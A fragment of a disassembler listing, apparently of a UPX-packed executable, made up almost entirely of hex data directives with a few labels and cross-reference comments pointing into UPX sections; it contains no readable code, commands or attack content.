dd 0FD7BAEF5h, 0BB0F60EBh, 95E2BC7Ch, 0ECFD98ECh, 0DABB4F68h
dd 0B6F6CED7h, 70EDFDBBh, 0E7DCBB8Fh, 90EC774Eh, 395E3ABDh
dd 0CEF6500Bh, 0FDFBBEF7h, 0BC0F80EFh, 0F84F07E0h, 0F0FE1BC2h
dd 0E2BC4F88h, 0C6F8CF17h, 90F1FE3Bh, 87E07C8Fh, 0C4E895D2h
dd 51030C81h, 0CF37E682h, 0FE7BCEF9h, 0BD0FA0F3h, 0FA4F47E8h
dd 0F4FE9BD2h, 0EABD4FA8h, 0D6FACF57h, 0B0F5FEBBh, 67ECBD8Fh
dd 0DBDAFB4Fh, 1FA7F6FEh, 93901908h, 8138AF1Ch, 47C8FC1Fh
dd 0FC41EC3Eh, 0F8FF1BE2h, 0F2BE4FC8h, 0E6FCCF97h, 0D0F9FF3Bh
dd 0A7F4BE8Fh, 5BEAFD4Fh, 0CFD8FAFFh, 0FEB7F6BEh, 7BEEFDCFh
dd 0FE0FBFFh, 0F85F3FFh, 0BE54277Ch, 3E0F98F7h, 8F11E83Dh
dd 0FDFFBBF6h, 0FCBF8FF0h, 0FAFF4FE7h, 0F8FEFFDBh, 0F7FEBFCFh
dd 0FBFEFFCFh, 1800FFFFh, 80380280h, 6805804h, 98088078h
dd 7F880A80h, 0FC0F97EBh, 0A7BB04E0h, 1080711Ch, 0F07EC0F9h
dd 98188170h, 81B81A81h, 1E81D81Ch, 182081F8h, 82382282h
dd 26825824h, 98288278h, 82B82A82h, 2E82D82Ch, 183082F8h
dd 83383283h, 0F1824834h, 90F90F40h, 1C57BC10h, 4A05A068h
dd 0B0F08150h, 84384280h, 46845844h, 98488478h, 84B84A84h
dd 0FC84D84Ch, 0A8380F07h, 6805A04h, 4E0681CAh, 10F604A0h
dd 84E8410Fh, 5E85D85Ch, 186085F8h, 86386286h, 417FA864h
dd 604A0F68h, 8578557Eh, 6585B859h, 187086F8h, 87387287h
dd 4A875874h, 48698678h, 8561C985h, 7685A858h, 188087F8h
dd 88388288h, 7885F884h, 7BFE86A8h, 587E86C8h, 88D88C88h
dd 9088F88Eh, 0A8878908h, 87C1C687h, 9889186Dh, 0B89A8998h
dd 84989C89h, 7D86B893h, 389D86E8h, 8A58A48Ah, 7E8A78A6h
dd 58888688h, 8A288A89h, 0B08AF8A8h, 8B28B18h, 88989F87h
dd 0B88B38A1h, 0B8BA8B98h, 8B58458Bh, 0BC8B78ACh, 38C28C18h
dd 7F58C48Ch, 0AD83C8BEh, 0B8CA8C58h, 8B38CC8Ch, 961C48C7h
dd 38CD88B8h, 8D58D48Dh, 0AA0F1892h, 8C88948h, 8DD8D68Ch
dd 728DF8DEh, 11C18CF8h, 8E08AE8Dh, 0E88E78E6h, 98D889E8h
dd 8978A087h, 0F08EF8E9h, 28078F18h, 8E41C08Eh, 0F88F78F2h
dd 47F88F98h, 8F61BF8Fh, 8FF8FAh, 0E8FC8F99h, 9018FE1Bh
dd 0E6907906h, 51BD9038h, 90D90890h, 0A8CC90Eh, 0F90C1BA9h
dd 91591490h, 0B99118BAh, 0B9169131h, 8A691C91h, 1A1B8918h
dd 392291D9h, 91F89192h, 0F59211B7h, 120E5077h, 7F20010Fh
dd 2F84A92Dh, 0D80FE89h, 492B92E2h, 84E92A86h, 397EF302h
dd 0D93B7EE9h, 93A93D7Eh, 499337FAh, 47F69318h, 9468C194h
dd 2D92A929h, 68449489h, 9281B692h, 4C9467F8h, 495388F9h
dd 85C95394h, 0F1957948h, 0C7F495A7h, 93E95694h, 6192C940h
dd 0C7FF95F9h, 95A80B95h, 698B9966h, 0B7F095B9h, 94E80696h
dd 0F79501B5h, 0E89C9527h, 86296C95h, 0FE941959h, 93C9767h
dd 96297D96h, 7B96497Fh, 0D96884C9h, 96196E8Ch, 7084897Fh
dd 59721909h, 92C96D94h, 90980942h, 0E9899919h, 94B93D97h
dd 3C99792Fh, 0C9629359h, 93596D99h, 6C99293Fh, 899F9A09h
dd 99A98098h, 7E9A1942h, 0E9909639h, 9AF9A093h, 0AA93B994h
dd 49819AC9h, 9899AB9Bh, 9C9B29AAh, 495B9989h, 9BB9639Ah
dd 339989B7h, 49A89319h, 9C097D99h, 939C39B5h, 0F99E93A9h
dd 99E9CE93h, 0C29919CCh, 998F9C79h, 9CD98F92h, 8B8039D0h
dd 8D07C9FEh, 59CC9D69h, 9749A29Bh, 0D2964940h, 49E49B49h
dd 9969779Ch, 0AD9C6934h, 89529609h, 9BF9F09Eh, 0D5979995h
dd 19E09E59h, 9B79C19Eh, 0B69997F3h, 0A9A69A79h, 9AB9959Eh
dd 0E392E9E7h, 69E69D79h, 9819FC9Bh, 9A59E8h, 0B9C4996Ah
dd 9FD9E4A0h, 0F89FAA09h, 29FE9ED9h, 0A0C95D9Eh, 2A019FEh
dd 99DD9DB8h, 0A099A6A1h, 12A1095Ch, 2A15A04Ah, 0A149F398h
dd 0DA0B99Fh, 5A1BA22Ah, 9BDA219Fh, 0F7A294FEh, 0B9E9A119h
dd 0A36A349Fh, 389F7A16h, 19A29F9Ah, 97C992A3h, 43A2FA13h
dd 6A37A45Ah, 0A0DA15A4h, 23A40A2Fh, 3A44A25Ah, 0A4A9D597h
dd 1E7F7987h, 19658C9Ah, 957A44A5h, 3FA33A10h, 8A489C6Ah
dd 96BA3EA2h, 4B9E0A5Fh, 0E9BE9C19h, 0A209B99Ah, 0B299BA61h
dd 0AA6AA269h, 9CAA41A3h, 0B89ECA51h, 79D19FD9h, 9BE956A6h
dd 1CA63A3Ah
dd 2A48A70Ah, 0A2B99BA5h, 0FEA5A9BBh, 66A13A4Eh, 0C9A7A189h
dd 0A55805A5h, 887FD8DCh, 5A3BA43Ah, 95EA2AA0h, 0F4A3CA24h
dd 29DEA4A9h, 9EEA6598h, 3EA029D4h, 8A47A6AAh, 9FFA6EA0h
dd 0A3A7EA58h, 0CA749FAAh, 0AA4A4BA2h, 4BA75A9Ch, 0DA6BA86Ah
dd 0A4CA85A7h, 0FB9F69FFh, 1A8097C9h, 0A3DA3FA4h, 8C842A39h
dd 49838EEAh, 0A9DA37ABh, 0AC5ABBh, 3AA5AA6Ah, 0A9A977A9h
dd 279F1ABAh, 9AD0AACAh, 0AC3A4FA4h, 0B3AA8A2Ah, 0AAD4AB2Ah
dd 0A1CA90AAh, 0DEACFAADh, 0DA9FAAFAh, 0A4EA96ABh, 0C998EA30h
dd 6A9BADFAh, 80AAE2AEh, 8E8D2ABFh, 7A7FAE7Ah, 0AC7AB9AEh
dd 0DFAEBAE4h, 9A2C9B89h, 0AF99E1AEh, 0A1A97AF1h, 9AD7A35Ah
dd 0ABBB01ADh, 3CA9EAF1h, 9A9FA40Ah, 0AB0A029Ah, 95B04ADFh
dd 3A799EDAh, 0B05B0DAEh, 69A9EB13h, 0AAE1A8F9h, 8AB8EB9Dh
dd 0EFAC08DBh, 4993AC2Ah, 0A01A77A8h, 0DAA6899Ah, 2AAA9EBAh
dd 0A5E9E3A8h, 0AFFEBA58h, 0A99EFA9Bh, 0CB21AA0Ah, 0B23B26A6h
dd 0D2A82A68h, 99B19D89h, 0B31A719Dh, 36B29A6Ch, 0FA72B24Bh
dd 0A72B2FA0h, 9DB19B33h, 0BB2FB3B9h, 0B4AA79B2h, 0B7B4FB4Dh
dd 0CAE0AB6Ah, 0AF8AD6ADh, 0ED801A74h, 28F08E5Ah, 898924B2h
dd 6FB54A53h, 984DB5F8h, 0B5C8FAB5h, 62890B5Dh, 5B61AC6Bh
dd 8F9B6487h, 99B67A94h, 0BB69B698h, 865B5784h, 78B70B6Dh
dd 0BB6CB79Bh, 8D08DAB1h, 80B7AA56h, 7863B81Bh, 0B85B82B7h
dd 8484CB86h, 0BB8AB87Bh, 0B7CABEB8h, 76AEE8EDh, 1938B6F8h
dd 0AB8B5FACh, 0D1ABCA50h, 0A9378D6Ah, 0B73802B2h, 8DB9E804h
dd 0E875B898h, 85D97AAFh, 0EAB96B73h, 0CBA0AA7Ah, 9B1A978Bh
dd 39DEAA7h, 1B4096E8h, 877BAB80h, 1E8B6B8Eh, 1AD4B91Bh
dd 0BA785E95h, 0E9B32BAFh, 0D8BBBB59h, 7F9B02BAh, 60BB2BC2h
dd 2876AC1Bh, 9A9A50BAh, 369B09C0h, 0FB259E2Bh, 0BD4B35B3h
dd 0A11BFE33h, 47B3EBCEh, 0EA59A32Bh, 0AB69C7B4h, 6EAFA9CFh
dd 7B27B44Ah, 0BD1BD99Dh, 0EABDBB2Dh, 9BA49C5Bh, 9EA9C899h
dd 45AE5B2Ch, 1AB89B09h, 0B47B50BEh, 0D392B9B9h, 0EBEE9EE9h
dd 0B3CBF8BDh, 0F3BCC860h, 3A0FA39Bh, 0A70974AEh, 0E5AB9B06h
dd 9F4B52Bh, 0C0AA71A6h, 35AF49F2h, 2ABAA87Ah, 0A16AF7B1h
dd 15A88A46h, 7B29A27Bh, 0BA8A85C0h, 0A4A6FAABh, 8C10A7CAh
dd 0A0EC05B4h, 0D5B0CAF6h, 0C0285EAh, 0C25C1BBBh, 0E5ADBAC5h
dd 4AC8BF2Bh, 0AF0ADBA1h, 24B12C2Bh, 3B08B6ACh, 0A42C3DB5h
dd 0CBBE9AD8h, 6C3AC23Ah, 0BEFB3FA7h, 3BC0EAEAh, 0EC33A3DCh
dd 0C31AF3AAh, 2D871C09h, 1507AA0Ch, 0BF7C24AEh, 0F8A8ABADh
dd 0BC5AC29Bh, 0C5EC54B0h, 55A7CA32h, 6C5FAD2Ch, 0A66A34C1h
dd 1AA93B0Ah, 0BC41BE8Ch, 0B6AC37C3h, 45C67A62h, 0DA86B51Ch
dd 0A52C15C5h, 81A6DC5Ah, 0FBB7C52Ah, 0BBCBB98Bh, 0A28ADCFEh
dd 0FAFAA7Fh, 1A73C4EBh, 0B2DB14C5h, 0AEAABBDAh, 7B96C25Bh
dd 0B04B20B1h, 3CAF9B08h, 9988B52Ch, 0AC8AE9C8h, 0BCBC0955h
dd 1AB1C4AAh, 0BE3C51BCh, 36C97AF5h, 0DAECBC2Ch, 0B90B1DC7h
dd 29ACAC80h, 7C08AC4Ch, 0C35B20C7h, 21C41B98h, 0FA36B53Ch
dd 0C2FCABC8h, 3CC83C72h, 0C9FA98Ch, 0C46C0BC5h, 0B0BA4C39h
dd 0BCC2C0DCh, 0CA3C49A7h, 5CB99CBFh, 2B98C538h, 0C97AFDCBh
dd 69AEBC32h, 6AD2C0FCh, 0A2EC6DCCh, 649AEC13h, 4C90A08Ah
dd 0A7BAFECDh, 0DBC38ACEh, 2ADDC64Ch, 968AD5CEh, 43CC5C0Eh
dd 2B10C73Ch, 0C56C88C7h, 62C4DC60h, 8BAACCE8h, 9D0A9AC4h
db 30h, 1Bh, 0C2h
byte_45004B db 0F7h ; DATA XREF: UPX0:off_41DBACo
dword_45004C dd 0EBFDB37Bh ; UPX1:004319F0o
db 0CFh, 0A8h
byte_450052 db 0CAh ; DATA XREF: UPX0:off_4245A8o
byte_450053 db 0B3h ; DATA XREF: UPX0:0041EFF0o
dd 0DDB51BE4h, 0A17B4DBh, 0CB0B3ABEh, 0E1D09C8Ah, 0DC84CD2Ch
dd 0D06B3A95h, 0CA5DC89h, 973CE9Dh, 0BE3BF4C0h, 899D1D11h
dd 0FA94BFDAh, 0B4AD14D0h, 39BD5D1Dh, 0CCF684BCh, 0FE689AB8h
dd 0D28BCACAh, 7ECA8C2Ch, 5D2CA8DBh, 0B1FD2A8Ah, 2785DD31h
dd 588DD35Dh, 0D3A845B7h, 37847D38h, 5D40D3DDh, 0D41D3FD3h
dd 43B8BD44h, 2D48D45Dh, 0D49D47B8h, 4BB78D4Ch, 3D50D4DDh
dd 0D51D4F92h, 53916D54h, 0DD58D55Dh, 0D59D5790h, 5B900D5Ch
dd 7D60D5DDh, 0D61D5F8Fh, 638E9D64h, 0FD68D65Dh, 0D69D678Dh
dd 6B8D4D6Ch, 0AD70D6DDh, 0D71D6F8Ch, 738C1D74h, 8D78D75Dh
dd 0D79D778Bh, 7B8AFD7Ch, 4D80D7DDh, 0D81D7F8Ah, 8389AD84h
dd 0FD88D85Dh, 0D89D8788h, 8B884D8Ch, 0FD90D8DDh, 0D91D8F87h
dd 2E8E1D94h, 5B7F8E3Dh, 8A7D9AD9h, 9ED9BD93h, 5D97C01Dh
dd 0D9FD998Fh, 9D899DA4h, 6DA8DA5Dh, 0B8F8D9BBh, 0AEDA9B5Ah
dd 0FDA7882Dh, 80BDB2DAh, 0B6DB3DB1h, 0DDA196FDh, 0DB7DA38Fh
dd 0B98B4DBCh, 0DDBB904Dh, 0CF5DC2DBh, 0C190BDBFh, 6DC8DC3Dh
dd 912DC5D3h, 0CEDC9DC7h, 9DCBD26Dh, 0FDFECD91h, 846DD4DCh
dd 0D8DD5DB5h, 9DD77EDDh, 0DDBDD5DDh, 0DEDCFDDCh, 1DC9DDFDh
dd 0DC3DE2DEh, 0BDDE5DE4h, 0DB9BD4BDh, 847B6BCBh, 33B22B72h
dd 0FBB1C42Dh, 0B9FDF1D1h, 1B984C63h, 1D24BD6Dh, 0CEDDEA8Fh
dd 0A4DF5880h, 0FC4CD34Ch, 936CCFDFh, 0C6CB3BBBh, 6C6EAA3Bh
dd 0DFD8E7C2h, 87FBF2h, 0BA5C86Eh, 967E11A2h, 2BE15BAFh
dd 8CCCD25Dh, 0CB2C1BE0h, 0E8CBE1Ah, 0BBFECDEEh, 0BFB9B3DFh
dd 0F0BD9ACFh, 9BEBE239h, 0E269399Dh, 0B7B35BEAh, 0CD24C8ACh
dd 0D03BDB9Bh, 19955BFCh, 0FBFBAD1Dh, 0BCFA4C9Eh, 0FCE17D1Eh
dd 0E9BABD5Bh, 0CEE9B3BFh, 2E42C3Eh, 0FE3EB10Dh, 0BD2BD6CFh
dd 0ABD2DC00h, 7CAABB8Dh, 0E46A07B9h, 39F6B14h, 0BC85A61Ah
dd 0E5BA73E0h, 0B5CDDCA0h, 9AE2C1CAh, 0B07C92E5h, 0DDCDCDFBh
dd 499DE68Ah, 0CF0A89ACh, 0F1C0CE65h, 6E03B0DCh, 0CA5E5FE5h
dd 0E0C7BC04h, 0EBC9C1EAh, 7DEAFE84h, 0CACC98DFh, 0B8B03C36h
dd 1C3DDFECh, 0AB1C9EE7h, 74CBABC4h, 1D10CE4Eh, 0C37AF4CCh
dd 70B38CD1h, 0DE66B00Eh, 0A2DE8ECBh, 0ADE81E89h, 0AD13CEECh
dd 0C7EE51DCh, 0F5BA9E53h, 2A83C799h, 0E1EAFFE9h, 77EA5C56h
dd 6C0B9ECAh, 0E89E8EC7h, 82E3CC63h, 8E09EA7Eh, 0C68BF0AEh
dd 65EAEA45h, 2C7AE98Ch, 0C83C86DFh, 47EBFB46h, 0FC82A5CAh
dd 0D3CD1EC9h, 20DD1B63h, 0EE1CDD39h, 0C96CA1CBh, 67C66EB4h
dd 1BB3C1DCh, 0ED6ECEE0h, 0B3976A1Bh, 4CB6B92Bh, 0A26E95C4h
dd 99CE3ACCh, 7E07ED2Ch, 0E80CA1CDh, 65CCAE0Ah, 5CEBCE6Eh
dd 0EE3A49ECh, 0A9E9FD96h, 0FC2EDADCh, 0CB5E6EE0h, 0E4E7FC91h
dd 6EC2EF8Eh, 0A04E63E9h, 0BFE14EDBh, 0FC50D0DCh, 0ACDEE2E0h
dd 3FEA2F03h, 0AF05EE7Ch, 0C87EB3BAh, 0F3E83CB4h, 2C7CEF0Ah
dd 0C7FD2FEFh, 75E84E54h, 0BA1AF09Ch, 0AE8EE6F1h, 57ED8E5Ch
dd 0EED7AF8Eh, 0CF26EEFEh, 0E78C91F1h, 0F3F08CD6h, 0ECF2AFC9h
dd 0F1CF27EBh, 47E8CC9Bh, 0FF0BE71Eh, 0B48EEEF1h, 27ECA886h
dd 0BBBFECC9h, 0E36D22B0h, 1CE37E67h, 0DBD3A90Dh, 0CFDB3DB3h
dd 8FD0EF45h, 1D16B43Ch, 0AFCB30B4h, 70B9CE93h, 19CB9CDCh
dd 0F4EA21E6h, 54E3AB41h, 0EE33E39Fh, 0BF6A8AA5h, 2FB34F5Bh
dd 9F53D01Eh, 0EC8D0BF4h, 98F16EC9h, 8BA3D30Dh, 0DE8B66D6h
dd 18800DE7h, 5F71B80Eh, 0A57F73DEh, 0E8EDCD65h, 0FF3CDDADh
dd 0F7DF3E94h, 797F9F82h, 5DAEF83Fh, 0DA8F86F8h, 0A4F89F88h
dd 0E1BE21Dh, 0F0AEC1BBh, 40F8CF8Fh, 5B95D6BDh, 0D0AEF5EEh
dd 79F94B9Dh, 0FE02F96Bh, 0DECBC5E1h, 9CF757FBh, 0AE218DEFh
dd 0E3BDFABFh, 0FAE2DFA8h, 9F519CBDh, 0E24E29B4h, 0A5E45E39h
dd 7E0E907Fh, 0B0CE64C2h, 24F2BE5Eh, 7F32C28Fh, 906FB5EFh
dd 0FF0FFB7h, 9EFDF21Bh, 0FC1AA2F3h, 0AFC391Ch, 0FED3EBDAh
dd 9FCEA5BAh, 0EA4AAFE9h, 0CAA91CD5h, 1F7FD5AFh, 0F06F8197h
dd 95FBAEE8h, 0EE8AE87Eh, 0FA4959AAh, 0D9D76FD7h, 3FDB98CFh
dd 0B06CD4B0h, 0ACFC7F12h, 5FA0CAFAh, 0FCC8EFFEh, 0ECE9CCEFh
dd 7E75CDEFh, 0CF4F1EE4h, 0A78FFFF2h, 1100B46Fh, 78806040h
dd 8C160905h, 42607077h, 260F0883h, 2050E85Ch, 27068443h
dd 1188A43Eh, 48944E2h, 881C7215h, 92456351h, 449E4D25h
dd 4AE55299h, 0BE5D2D96h, 0E6531984h, 6D359A4Ch, 5399C4DEh
dd 0F17849E7h, 827129ECh, 0A250CF86h, 45128D45h, 0BD8944E3h
dd 3E773D78h, 0EA551A85h, 0AD55AA54h, 559AC55Eh, 3D9D56EBh
dd 1A3D067Fh, 0A5D268D6h, 459EB94Dh, 5AED569Bh, 0BEDD6DB6h
dd 0A815EB55h, 0C975B150h, 570A7532h, 7DBE5EEFh, 1C05FEFDh
dd 0B05CA498h, 35DEC575h, 62F1582Bh, 3F1D8DC6h, 0AE984C56h
dd 0F388A3E1h, 599CC642h, 9DCE66F3h, 0A6FE4A55h, 67B2D61Ch
dd 9F4DA5D2h, 0E7D71D46h, 9595D0DCh, 5B1D4DE2h, 0B5DA6CF6h
dd 5D6E8253h, 0DE6DB474h, 6EFF7DBDh, 0D0F73B8Ch, 1F8DC0DDh
dd 0AB3C9E47h, 95C5E1F0h, 5D1E873Fh, 0B9E64B3Ah, 9EC74F9Dh
dd 0EAF1BB5Dh, 76FAFADh, 0E93C5E1Fh, 8FBFA1EEh, 3D5E9F47h
dd 0CF94F2E0h, 5F1F87AFh, 86F6D73Eh, 9FC7CFDFh, 0FACE3F5Fh
dd 0DE275F76h, 701402Fh, 0C3BFA974h, 408CBBFEh, 0D0241705h
dd 6410D140h, 0F5094230h, 0B2B5D073h, 43309C12h, 70ABC10Dh
dd 437082Ch, 3AE9C431h, 1143EDD4h, 3811444Fh, 31329112h
dd 8C5F1745h, 5AE2456Dh, 1B46B184h, 8F919337h, 0B1E46EFBh
dd 0DC72BFC7h, 872147D1h, 1A480B64h, 49324489h, 50BC8CB4h
dd 0D49F2749h, 0A0D8498Ah, 0A84AB2A4h, 4AD004A4h, 994B72Dh
dd 82D70C4Bh, 0C7314C27h, 334CB324h, 4D3344CFh, 0B364D735h
dd 84DF374Dh, 0C5394E33h, 4E70FE2Ch, 33C4EF3Bh, 0E4F73D4Fh
dd 0BCBF4C73h, 414FABD4h, 50B42507h, 0F3ACD343h, 65174550h
dd 0FF3551B4h, 0E1B0AD5Ch, 0C9723C74h, 27F9F882h, 0E5374D53h
dd 3F4F53B4h, 51543505h, 54B52547h, 35454F53h, 0A1F95555h
dd 9C92CB27h, 59563552h, 56B5A567h, 0B51D6F5Bh, 8C8B2FD5h
dd 2AE6B274h, 7A1E8B45h, 1A2691C4h, 3641A563h, 9D936559h
dd 9F669A46h, 685A3675h, 5AB695A7h, 36B5AF6Ah, 0D5B76C5Bh
dd 0BF6E5BB6h, 705C36F5h, 0DCB65DC1h, 711AF65h, 0A255569Fh
dd 9A6E1EC7h, 66DE0659h, 5EB7A5E6h, 265DE97Bh, 0E5F77D5Fh
dd 0FF7F5FB7h, 7BE03805h, 6037B607h, 38460F83h, 66098461h
dd 0A266DE58h, 0BED58701h, 9ECB6D00h, 6489EC7Bh, 0E6362F8Dh
dd 0BF8F63B8h, 916402A0h, 64792643h, 0F9464B93h, 66539564h
dd 5B976579h, 9965F986h, 6679A663h, 99C63F9Bh, 0B92235E3h
dd 547C9EE7h, 90F9F2FEh, 0BA208A24h, 468FA368h, 97A5693Ah
dd 0A769BA66h, 6A3A869Fh, 7AA6A7A9h, 0C90E24EAh, 28BE62E7h
dd 511E7306h, 13051928h, 0BB26C7B1h, 0C12BB16Ch, 25B46D04h
dd 0B76D84C1h, 6DFB86DBh, 0BB4ED5B6h, 0B6EFBA6Eh, 0F7BC6F3Bh
dd 0BE6FBBD6h, 703BF6FFh, 0BC1707C0h, 46CDBA70h, 3251EC9Ch
dd 5D9EA511h, 144791E3h, 0A579503Dh, 0C72FCB72h, 37CD733Ch
dd 0CF73BCE7h, 743D073Fh, 0BD2747D1h, 0D151D374h, 1E791443h
dd 0B56B8B4Fh, 0E67B9E8h, 5A95C44h, 0C76E5A97h, 77DD773Dh
dd 0DF77BDE7h, 783E077Fh, 0BE2787E1h, 378FE378h, 0EE4615DEh
dd 935D67B8h, 90E2D9F4h, 0A7B1FE72h, 0C7AFEB7Ah, 0B7ED7B3Eh
dd 0EF7BBEE7h, 7C3F07BFh
dd 0BF27C7F1h, 29FFF27Ch, 0D42D90E7h, 0B4F5CBDDh, 902761F4h
dd 5B95C58h, 0F9805E98h, 0F7FD7F25h, 0FF7FBFE7h, 6007FFh
dd 2403805h, 780D016h, 0FE026044h, 603F6805h, 0B115C2DCh
dd 0F43B0420h, 34751281h, 0E2EA1FE1h, 0B8350646h, 0D0760E41h
dd 61041F83h, 42384508h, 84D09612h, 0A614427h, 7C0F4851h
dd 0EA09A3FCh, 7AA06098h, 3519A935h, 0E0FA2D89h, 0A15A29C4h
dd 0C330660Bh, 62043F1Ch, 44388510h, 88D11622h, 12624447h
dd 2644B895h, 4F89D136h, 9838E264h, 94558BA1h, 34311382h
dd 616C2389h, 0C3707031h, 63045F1Bh, 4638C518h, 8CD19632h
dd 1A634467h, 3646B8D5h, 6F8DD1B6h, 0C0372364h, 385B3171h
dd 716F8B02h, 61F25A1Fh, 0E2C85888h, 4720E81Ch, 4839043Bh
dd 90D21642h, 22644487h, 4648B915h, 8F91D236h, 25246484h
dd 0A07448F9h, 88B21CE3h, 48EE2185h, 43882F92h, 4710F81Eh
dd 4A394439h, 94D29652h, 2A6544A7h, 564AB955h, 0AF95D2B6h
dd 652C6584h, 0C974CB19h, 0D85F1C43h, 78F25B64h, 2007C96h
dd 0C7F8B816h, 0E1FEE03Bh, 0D316620Eh, 6644C798h, 4CB99532h
dd 99D33666h, 346684CFh, 6A4D39A5h, 0FF1DF34Ah, 2C45C0h
dd 44844B91h, 0F8F21BC1h, 39C4A387h, 0E9F6724Eh, 46F0F21Fh
dd 0A609B814h, 4830D219h, 1D87B958h, 5C0B7156h, 0F79ED3D5h
dd 4D3E67C4h, 0D8580BD5h, 98F19D61h, 0A1E03802h, 0D416824Fh
dd 154507A0h, 8531C03Ch, 9DAEB67Fh, 55E77A93h, 530761ECh
dd 215713D0h, 2AD4819h, 80815060h, 0F8FFA36Ah, 8A433E68h
dd 0C2DD4E50h, 0C944FE14h, 42D1CA14h, 0A3448692h, 4668C4F7h
dd 50D2354Fh, 9FA494D1h, 183947C2h, 0FE87BEDAh, 0A16B86CAh
dd 41481E47h, 45347B8Bh, 1328014Fh, 54A4EF52h, 4CF53143h
dd 396A754Ah, 7B8F150Bh, 791482D4h, 0FF4067F8h, 945D451h
dd 6D514C64h, 24FB5813h, 35913856h, 6A95664Ch, 8FF1EE4Fh
dd 52D43685h, 7595F15Fh, 0A095B580h, 0F016227Eh, 0F4390748h
dd 0BE57FEBAh, 7DAFD5F6h, 35F800Dh, 0FEC257FBh, 4585B075h
dd 7AF7626Ch, 960EC258h, 6C858AB1h, 0D93B2564h, 1E03A6BEh
dd 5604F0B1h, 298F624Fh, 0E99C2344h, 45684710h, 96D25A3Bh
dd 0DA7B4D6h, 7B536940h, 96AED65Ah, 6D85AFB5h, 0DB1B5D68h
dd 0B676BED6h, 6E6DC5B4h, 7FD96B4Fh, 32A76344h, 290D2B84h
dd 0E5D7D3F5h, 68B113A1h, 0B1B63907h, 0D736E65Ch, 6E75CFB9h
dd 0DD2B9E00h, 0B977506Dh, 40AE95D4h, 0E6103BAEh, 0DDBB5766h
dd 0BF782EE5h, 8AF1DDBBh, 0C5CDBB37h, 0BBA375EEh, 0B786EADEh
dd 0AF25EDBAh, 5EEBE575h, 0BA175AEFh, 72EFC5F7h, 498AB903h
dd 9C24D668h, 0DA3FC66Dh, 146D0E21h, 4607C0D8h, 0AC158270h
dd 0D82C00E0h, 0B07921C0h, 60520636h, 0C2583708h, 84481612h
dd 0CE18C35h, 1EC2D827h, 2185B046h, 4712614Ch, 9E24C2B8h
dd 0FC3383F0h, 0D8B70761h, 4710DAC5h, 8CD1FE3Bh, 65C2DFFEh
dd 47C15C97h, 8B01261Eh, 0C7C362E4h, 9072063Fh, 0E41C85h
dd 0D8C8B908h, 8F8FB238h, 271F902Ch, 4E4AC919h, 2C8192F2h
dd 792B26E5h, 72AE46CAh, 0E59CA996h, 0C9793B2Ah, 93F2BE51h
dd 24656CC5h, 67C87983h, 38FF346h, 0F8480A69h, 98F424B7h
dd 0C0432C2h, 0D9D5730Eh, 469677CEh, 0E7ACEE00h, 2059F164h
dd 9F16467Dh, 41681CF3h, 865959FBh, 4B2F406h, 2F4668ADh
dd 0E8ED11Ah, 1CFFA274h, 1A1341E9h, 33C697CFh, 8CBC6438h
dd 0A7B1E31Ah, 5A6E2572h, 480791F2h, 0DF1D8298h, 55AA46A0h
dd 0B7566ABDh, 0D31D59Ah, 2D63AA80h, 0BACF54EBh, 35B6AED6h
dd 6B4D7235h, 0D57AE35Dh, 0ADF5EEBBh, 606B3D79h, 0BFD89ADBh
dd 91B27616h, 0E7616C1Dh, 86AED81Ah, 0C1BFABB6h, 0C224520Eh
dd 0ACE124CDh, 0DE1D99Ch, 0DBDB7563h, 0B87706DFh, 71001DC5h
dd 0DDDC8B1Bh, 0CDB9F73Eh, 0FE766EBDh, 0E91A3BABh, 0D1BC36F6h
dd 0CB586E0Dh, 96E1DDFBh, 6DEDBBB7h, 9BF77BEFh, 7806E5DDh
dd 0DE58DC0h, 0D383FC76h, 8DCB3D6Eh, 3C8F62B7h, 0EB14222Ch
dd 2433C6E8h, 578A713Eh, 0F15E2DCh, 9E25C5C0h, 9C7389F1h
dd 0F8BF1BE3h, 0F2219FC7h, 0E45C7490h, 0C5A8C723h, 90724E3Fh
dd 1DE55C8Fh, 5DCA78DFh, 6081714Eh, 672DE5BCh, 0BE75C6B9h
dd 0C3AC6EF3h, 675ED613h, 8C70A63Eh, 1B43A47Fh, 0D27A430Dh
dd 868015E7h, 4E5E9D31h, 0A5D2FA77h, 37A8F53Eh, 82F5EA03h
dd 55EF463Ah, 0BD457B75h, 3AA121EAh, 0F56EA7D6h, 0ECDD93B1h
dd 0DA7A5765h, 748DA5E9h, 9D18E3FCh, 0B5C28B76h, 7444D412h
dd 80DB1D02h, 0BEF5DE46h, 9DF7BE77h, 7BF001EFh, 0F7AF01DEh
dd 0F05E0FC1h, 343C377Eh, 0BFF8BF0Ch, 87F03E33h, 0BE43C87h
dd 13C5788Fh, 177DF29Eh, 0AF2BE588h, 0FE27C4F9h, 0FBE79FF1h
dd 9B1D036h, 44FE9FA0h, 0DF40C4E8h, 7AB19435h, 0F5DEB7D6h
dd 0EC3D87AFh, 0D5FB1003h, 0B6F59ECFh, 75ED7DB7h, 2BDCFBBFh
dd 0FFADF703h, 2F7DED3Dh, 3EF7D9FCh, 0FE37C1F7h, 7CBF87EEh
dd 0F85F03DEh, 32BE87CFh, 623D31AEh, 9F975DC0h, 0B75CCEF6h
dd 6C428792h, 7A01C22h, 2F3DDEFFh, 3E6FF27Eh, 3C97E5F2h
dd 0FE3FCBFAh, 0FD3E6BBFh, 0E3BF27E6h, 0C9F81FDBh, 0E7FEBFC3h
dd 0C3F83F0Fh, 5C4289B1h, 98FA22BBh, 703D402h, 285F065h
dd 4403C034h, 0C05404C0h, 4800C05h, 785F406Ch, 0C07C02C0h
dd 9408408h, 3C09C034h, 40BC0C40h, 0E405C0Bh, 0F40AC064h
dd 40D41040h, 11C08C0Eh, 0EC0CC114h, 0C15414C0h, 70065403h
dd 43EA87F8h, 3EC0FA38h, 0ACBED0F3h, 183B0778h, 0BBC04D84h
dd 0F63F03FCh, 0B3CCBC8Bh, 4213F5BFh, 0CDBFBBC1h, 73CC3CEBh
dd 422C203Fh, 20C23BF5h, 2BF3BCE4h, 0C1E41F42h, 4E86DBBEh
dd 9403FEE8h, 18299E7Ah, 6D07F86h, 2F85D862h, 1430C304h
dd 0C32431C3h, 30881432h, 4C30000Ch, 0C2FC3543h, 37C36C35h
dd 0DC374384h, 0C3743585h, 34439C33h, 2439431Ch, 43AC3943h
dd 39C3843Ah, 0C438C3F4h, 436C3BC3h, 43C32C3Dh, 242FC444h
dd 87F86D06h, 5E3EB061h, 0AA772E09h, 0C1B8AC41h, 29C1D03Eh
dd 54293D04h, 0C25BCCBCh, 0F33F7090h, 0C50081Bh, 0C51BC245h
dd 0C04223F9h, 0F41F3FABh, 3FC44F3Ch, 20451456h, 0FC4C4274h
